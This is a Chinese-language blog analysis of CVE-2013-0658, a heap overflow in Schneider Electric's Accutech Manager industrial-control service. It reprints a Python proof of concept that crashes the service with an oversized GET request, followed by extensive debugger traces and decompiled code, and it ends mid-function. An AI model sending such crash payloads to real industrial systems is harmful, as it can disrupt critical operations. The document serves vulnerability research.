[CVE-2013-0658]Schneider Electirc Accutech工控服务堆溢出漏洞分析

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
很遗憾没有找到这个存在漏洞的工控服务版本,应该是全部更新了,可以下载最新的进行分析,当然漏洞已经补了。

PoC:

#Schneider Electric
#Accutech Manager Server Heap Overflow PoC
#RFManagerService - Port: 2537
#I think this is the same vuln that ExodusIntel discovered. Credit also goes to Aaron Portnoy, ExodusIntel.
#The patch has not been released yet.
#Evren Yalcin, Signalsec Ltd. (www.signalsec.com)
#Download app:
#http://telemetry.schneider-electric.com/id2/media/downloads/software/scadarange/Accutech%20Manager%201.89.2.zip

import socket
import sys
 
host = "192.168.163.128"
 
port = 2537

buf = "\x41" * 400

req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")
 
print "  [+] Connecting to %s:%d" % (host, port)
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
 
s.send(req)
data = s.recv(1024)
s.close()

#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
#7c91142e 8b39            mov     edi,dword ptr [ecx]  ds:0023:41414141=????????
#----snip----
#text:0040DE91                 push    offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96                 call    nullsub_1
#.text:0040DE9B                 lea     eax, [ebp+cbTransfer]
#.text:0040DEA1                 push    eax             ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2                 push    esi             ; int
#.text:0040DEA3                 call    sub_40E006
#.text:0040DEA8                 add     esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.

目标端口是2537,ip地址请在PoC中修改。

不得不说,这类工控服务的软件真的很难找,从官网,到翻墙google,最后发现所有老版本的软件全部被封掉了,只有最新版2.03,通过对2.03的跟踪分析,找到了漏洞位置,但新版本的服务软件,把漏洞位置做了一个if条件判断,导致漏洞无法触发,但仍然找到了以前的脆弱点,下面对此漏洞进行详细分析。


漏洞分析


Accutech Manager是Schneider Electric工控的一款管理软件,负责整个工控流程的调度,在这个过程中,Accutech Manager会开放2536和2537两个端口,其中,2536端口是负责软件通信,2537端口是负责服务器通信,走HTTP协议,问题出现在2537端口。

首先来看一下poc中对问题部分的描述。

#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
#7c91142e 8b39            mov     edi,dword ptr [ecx]  ds:0023:41414141=????????
#----snip----
#text:0040DE91                 push    offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96                 call    nullsub_1
#.text:0040DE9B                 lea     eax, [ebp+cbTransfer]
#.text:0040DEA1                 push    eax             ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2                 push    esi             ; int
#.text:0040DEA3                 call    sub_40E006

可以看到,问题出现在某系统函数的拷贝部分,ecx的值被覆盖为41414141,从而导致当ecx作为指针获取时,无效指针引发问题。

重新看一下PoC部分。

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
 
s.send(req)
data = s.recv(1024)
s.close()

这里PoC中会发送漏洞字符串,主要是GET数据包给服务器,那么其中可能涉及到Recv函数,通过IDA跟踪,找到了两处Recv,分别在函数。

0040dc52 ff159c094600    call    dword ptr [RFMANA_1+0x6099c (0046099c)]

0040ee01 ff159c094600    call    dword ptr [RFMANA_1+0x6099c (0046099c)]

在这两处下断点,发送PoC,程序中断在0040ee01位置的Recv函数call调用处。然后直接步过。

0:018> g
Breakpoint 0 hit
eax=0bd3fb5c ebx=00000000 ecx=0bd3faa8 edx=7c92e4f4 esi=0b65bd58 edi=0bd3fb7c
eip=0040ee01 esp=0bd3fb18 ebp=0bd3fb64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RFMANA_1+0xee01:
0040ee01 ff159c094600    call    dword ptr [RFMANA_1+0x6099c (0046099c)] ds:0023:0046099c={WS2_32!WSARecv (71a24cb5)}
0:017> dd esp
0bd3fb18  00000424 0bd3fb5c 00000001 0bd3fb70
0bd3fb28  0bd3fb74 0bd3fb40 00000000 73393507
0bd3fb38  0b65bd58 00974ab0 00000000 00000000
0bd3fb48  00000000 00000000 000003bc 00000005
0bd3fb58  7c92cfcc 00000400 0bd3fb7c 0bd3ff7c
0bd3fb68  0040ed3d 0b65bd58 0bd3fb7c 00000000
0bd3fb78  00974ab0 00000000 00000000 00000000
0bd3fb88  00000000 00000000 00000000 00000000
0:017> p
eax=00000000 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040ee07 esp=0bd3fb34 ebp=0bd3fb64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RFMANA_1+0xee07:
0040ee07 85c0            test    eax,eax

步过之后,来观察一下栈中覆盖的情况。

0:017> dc esp l100
0bd3fb34  73393507 0b65bd58 00974ab0 00000000  .59sX.e..J......
0bd3fb44  000001b6 00000000 00000000 000003bc  ................
0bd3fb54  00000005 7c92cfcc 00000400 0bd3fb7c  .......|....|...
0bd3fb64  0bd3ff7c 0040ed3d 0b65bd58 000001b6  |...=.@.X.e.....
0bd3fb74  00000000 00974ab0 20544547 4141412f  .....J..GET /AAA
0bd3fb84  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fb94  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fba4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fbb4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fbc4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fbd4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fbe4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0bd3fbf4  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到,此时接收到了畸形字符串,并且栈中覆盖上了畸形字符串,接下来继续执行。

0:017> p
eax=00000000 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040ee09 esp=0bd3fb34 ebp=0bd3fb64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RFMANA_1+0xee09:
0040ee09 0f8496000000    je      RFMANA_1+0xeea5 (0040eea5)              [br=1]
0:017> p
eax=00000000 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eea5 esp=0bd3fb34 ebp=0bd3fb64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RFMANA_1+0xeea5:
0040eea5 8b450c          mov     eax,dword ptr [ebp+0Ch] ss:0023:0bd3fb70=000001b6
0:017> p
eax=000001b6 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eea8 esp=0bd3fb34 ebp=0bd3fb64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RFMANA_1+0xeea8:
0040eea8 6a01            push    1
0:017> p
eax=000001b6 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeaa esp=0bd3fb30 ebp=0bd3fb64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
RFMANA_1+0xeeaa:
0040eeaa 014610          add     dword ptr [esi+10h],eax ds:0023:0b65bd68=00000000
0:017> p
eax=000001b6 ebx=00000000 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eead esp=0bd3fb30 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeead:
0040eead 5b              pop     ebx
0:017> p
eax=000001b6 ebx=00000001 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeae esp=0bd3fb34 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeeae:
0040eeae ff75ec          push    dword ptr [ebp-14h]  ss:0023:0bd3fb50=000003bc
0:017> p
eax=000001b6 ebx=00000001 ecx=0016af70 edx=00000001 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeb1 esp=0bd3fb30 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeeb1:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0040eeb1 ff1500084600    call    dword ptr [RFMANA_1+0x60800 (00460800)] ds:0023:00460800={kernel32!CloseHandle (7c809bd7)}
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=0bd3fb7c
eip=0040eeb7 esp=0bd3fb34 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeeb7:
0040eeb7 5f              pop     edi
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eeb8 esp=0bd3fb38 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeeb8:
0040eeb8 8bc3            mov     eax,ebx
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eeba esp=0bd3fb38 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeeba:
0040eeba 5e              pop     esi
0:017> p
eax=00000001 ebx=00000001 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebb esp=0bd3fb3c ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeebb:
0040eebb 5b              pop     ebx
0:017> p
eax=00000001 ebx=00974ab0 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebc esp=0bd3fb40 ebp=0bd3fb64 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeebc:
0040eebc c9              leave
0:017> p
eax=00000001 ebx=00974ab0 ecx=0bd3fb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebd esp=0bd3fb68 ebp=0bd3ff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeebd:
0040eebd c3              ret

在执行过程中,0040ee09地址位置执行了一次je判断跳转,之后到达函数返回位置,IDA查看一下这个函数的伪代码逻辑。

int __cdecl sub_40EDBA(int a1, DWORD NumberOfBytesRecvd, DWORD Flags)
{
  u_long v3; // esi@1
  char *v4; // edi@1
  signed int v5; // ebx@1
  SOCKET v6; // ST00_4@1
  int v7; // eax@3
  struct _WSAOVERLAPPED Overlapped; // [sp+Ch] [bp-24h]@1
  HANDLE Handles; // [sp+20h] [bp-10h]@4
  int v11; // [sp+24h] [bp-Ch]@4
  struct _WSABUF Buffers; // [sp+28h] [bp-8h]@1

  v3 = Flags;
  v4 = (char *)NumberOfBytesRecvd;
  v5 = 0;
  memset((void *)NumberOfBytesRecvd, 0, Flags);
  Buffers.buf = v4;
  Buffers.len = v3;
  Overlapped.hEvent = (WSAEVENT)WSACreateEvent();
  v6 = *(_DWORD *)(a1 + 4);
  Flags = 0;
  if ( !WSARecv(v6, &Buffers, 1u, &NumberOfBytesRecvd, &Flags, &Overlapped, 0) )
  {
LABEL_9:
    *(_DWORD *)(a1 + 16) += NumberOfBytesRecvd;
    v5 = 1;
    goto LABEL_10;
  }
  if ( WSAGetLastError() == 997 )
  {
    nullsub_2(aWsarecvIsPendi);
    Handles = (HANDLE)Overlapped.hEvent;
    v11 = *(_DWORD *)a1;
    if ( WaitForMultipleObjects(2u, &Handles, 0, 0xFFFFFFFF) )
    {
      nullsub_2(aRecvEventNotSi);
      goto LABEL_10;
    }
    if ( !WSAGetOverlappedResult(*(_DWORD *)(a1 + 4), &Overlapped, &NumberOfBytesRecvd, 0, &Flags) )
    {
      WSAGetLastError();
      nullsub_2(aWsagetoverlapp);
      goto LABEL_10;
    }
    goto LABEL_9;
  }
  WSAGetLastError();
  nullsub_2(aWsarecvDidNotC);
  v7 = WSAGetLastError();
  sub_40F294(hWnd, (unsigned int)aWsarecv, v7);
LABEL_10:
  CloseHandle((HANDLE)Overlapped.hEvent);
  return v5;
}

可以看到中间有一处关键的if语句,调用了WSARecv函数接收信息,当接收到信息之后,则进入内层函数逻辑。

内层函数逻辑中,会获取读取到的数据长度,之后将v5置1,接下来跳转到LABEL_10位置,这个LABLE_10处于函数末尾,会关闭句柄并返回v5,也就是return 1。

实际上,sub_40EDBA函数是接收函数,会接收来到的数据,在这里,不会对数据长度进行控制,而是全部接收,接下来返回到外层函数执行。

0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebd esp=010afb68 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeebd:
0040eebd c3              ret
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed3d esp=010afb6c ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xed3d:
0040ed3d 83c40c          add     esp,0Ch

到达外层函数之后,经过内层函数最后的pop出栈操作,畸形字符串更接近栈顶了。

0:001> dc esp l100
010afb6c  0b65bd58 00000400 00000000 00974ab0  X.e..........J..
010afb7c  20544547 4141412f 41414141 41414141  GET /AAAAAAAAAAA
010afb8c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afb9c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbac  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbbc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbcc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbdc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbec  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbfc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc0c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc1c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc2c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc3c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc4c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc5c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc6c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc7c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afc8c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

但是这不重要,接下来继续单步执行。

0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed40 esp=010afb78 ebp=010aff7c iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
RFMANA_1+0xed40:
0040ed40 85c0            test    eax,eax
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed42 esp=010afb78 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xed42:
0040ed42 751a            jne     RFMANA_1+0xed5e (0040ed5e)              [br=1]
0:001> p
eax=00000001 ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed5e esp=010afb78 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xed5e:
0040ed5e 8d8500fcffff    lea     eax,[ebp-400h]
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed64 esp=010afb78 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xed64:
0040ed64 50              push    eax
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed65 esp=010afb74 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xed65:
0040ed65 56              push    esi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040ed66 esp=010afb70 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xed66:
0040ed66 e853010000      call    RFMANA_1+0xeebe (0040eebe)

在地址0040ed66位置会执行一处call调用,在这里,push eax,push esi,call是不是很熟悉,是的,这个是和开头,exploit提供的漏洞触发前的call操作的上下文基本一致的,来看一下推入的这两个参数。

0:001> dc esp
010afb70  0b65bd58 010afb7c 00974ab0 20544547  X.e.|....J..GET 
010afb80  4141412f 41414141 41414141 41414141  /AAAAAAAAAAAAAAA
010afb90  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afba0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbb0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbc0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbd0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbe0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0:001> dc poi(esp)
0b65bd58  00000324 00000470 00000000 0109e219  $...p...........
0b65bd68  00000400 00000000 ffffffff 505c3a43  ............C:\P
0b65bd78  72676f72 46206d61 73656c69 6863535c  rogram Files\Sch
0b65bd88  6469656e 45207265 7463656c 5c636972  neider Electric\
0b65bd98  75636341 68636574 6d65545c 61660070  Accutech\Temp.fa
0b65bda8  6f636976 63692e6e 0000006f 00000000  vicon.ico.......
0b65bdb8  00000000 00000000 00000000 00000000  ................
0b65bdc8  00000000 00000000 00000000 00000000  ................
0:001> dc poi(esp+4)
010afb7c  20544547 4141412f 41414141 41414141  GET /AAAAAAAAAAA
010afb8c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afb9c  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbac  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbbc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbcc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
010afbdc  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

第一个参数是int类型的一个值324h,第二个参数是GET /AAAA...也就是畸形字符串,其实这个call调用,就是漏洞触发的关键位置了,先来看一下外层函数逻辑。

int __stdcall sub_40ED19(DWORD NumberOfBytesRead)
{
  int v1; // ST0C_4@2
  int v2; // eax@3
  DWORD NumberOfBytesRecvd; // [sp+4h] [bp-400h]@1

  sub_40E940();
  if ( sub_40EDBA(NumberOfBytesRead, (DWORD)&NumberOfBytesRecvd, 0x400u) )
  {
    v2 = sub_40EEBE(NumberOfBytesRead, (char *)&NumberOfBytesRecvd);
    if ( v2 )
    {
      sub_40F1FD(NumberOfBytesRead, v2);
      sub_40EFA2(NumberOfBytesRead);
      sub_43ABE4((LPVOID)NumberOfBytesRead);
      ((void (*)(void))sub_40E968)();
      nullsub_2(aParseError);
    }
    else
    {
      sub_40F020(NumberOfBytesRead);
      sub_40EFA2(NumberOfBytesRead);
      sub_43ABE4((LPVOID)NumberOfBytesRead);
      ((void (*)(void))sub_40E968)();
    }
  }

可以看到,函数中执行了一个if语句,其中涉及到了sub_40EDBA,这个函数就是Recv函数了,之前也分析过,v5作为返回会返回1,也就是说接下来会进入v2=sub_40EEBE,这个函数就是刚才分析到的,老版本的漏洞函数,传入的两个参数,第一个是int类型的读取数据包的长度,第二处就是数据包的内容,是一处地址指针。

接下来进入漏洞函数。

0:001> t
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebe esp=010afb6c ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeebe:
0040eebe 55              push    ebp
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eebf esp=010afb68 ebp=010aff7c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeebf:
0040eebf 8bec            mov     ebp,esp
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec1 esp=010afb68 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeec1:
0040eec1 51              push    ecx
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec2 esp=010afb64 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeec2:
0040eec2 53              push    ebx
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec3 esp=010afb60 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeec3:
0040eec3 56              push    esi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec4 esp=010afb5c ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeec4:
0040eec4 57              push    edi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0b65bd58 edi=73393507
eip=0040eec5 esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeec5:
0040eec5 bef4ec4400      mov     esi,offset RFMANA_1+0x4ecf4 (0044ecf4)
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf4 edi=73393507
eip=0040eeca esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeeca:
0040eeca 8d7dfc          lea     edi,[ebp-4]
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf4 edi=010afb64
eip=0040eecd esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeecd:
0040eecd 66a5            movs    word ptr es:[edi],word ptr [esi] es:0023:010afb64=fb1c ds:0023:0044ecf4=0a20
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf6 edi=010afb66
eip=0040eecf esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeecf:
0040eecf a4              movs    byte ptr es:[edi],byte ptr [esi] es:0023:010afb66=0a ds:0023:0044ecf6=00
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=0044ecf7 edi=010afb67
eip=0040eed0 esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeed0:
0040eed0 8b750c          mov     esi,dword ptr [ebp+0Ch] ss:0023:010afb74=010afb7c
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=010afb7c edi=010afb67
eip=0040eed3 esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeed3:
0040eed3 56              push    esi
0:001> p
eax=010afb7c ebx=00974ab0 ecx=010afb1c edx=7c92e4f4 esi=010afb7c edi=010afb67
eip=0040eed4 esp=010afb54 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeed4:
0040eed4 e8b7b60200      call    RFMANA_1+0x3a590 (0043a590)
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040eed9 esp=010afb54 ebp=010afb68 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
RFMANA_1+0xeed9:
0040eed9 3d00040000      cmp     eax,400h
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040eede esp=010afb54 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeede:
0040eede 59              pop     ecx
0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040eedf esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xeedf:
0040eedf 0f83b5000000    jae     RFMANA_1+0xef9a (0040ef9a)              [br=1]

当执行到40eed9位置,会对eax和400h做一次比较,如果大于,则会跳转到另一个位置。

0:001> p
eax=00000407 ebx=00974ab0 ecx=010afb7c edx=7f42b0fe esi=010afb7c edi=010afb67
eip=0040ef9a esp=010afb58 ebp=010afb68 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
RFMANA_1+0xef9a:
0040ef9a 6a07            push    7

这个地方,就应该是Accutech Manager最新版为何不会造成漏洞的原因了,在这里,会对数据长度进行一次判断,如果大于400h,则会跳转到结尾部分返回,在老版本中,应该是不存在这处判断,而执行后面的逻辑,通过IDA,可以很清晰的看到后面逻辑中为何会造成溢出。

int __cdecl sub_40EEBE(int a1, char *a2)
{
  char *v2; // eax@4
  char *v3; // eax@5
  const char *v4; // ebx@5
  size_t v5; // ebx@7
  __int16 v8; // [sp+Ch] [bp-4h]@1
  char v9; // [sp+Eh] [bp-2h]@1
  char *v10; // [sp+1Ch] [bp+Ch]@5

  v8 = *(_WORD *)asc_44ECF4;
  v9 = asc_44ECF4[2];
  if ( strlen(a2) >= 0x400 || strlen(a2) < 3 || strstr(a2, a__) )
    return 7;
  v2 = strtok(a2, (const char *)&v8);
  if ( !_strcmpi(v2, aGet) )
  {
    *(_DWORD *)(a1 + 8) = 0;
    v3 = strtok(0, (const char *)&v8);
    v4 = v3;
    v10 = v3;
    if ( v3 )
    {
      if ( strlen(v3) <= 1 || (v5 = strlen(v4), strlen(byte_45AB8C) + v5 < 0x104) )
      {
        strcpy((char *)(a1 + 28), byte_45AB8C);
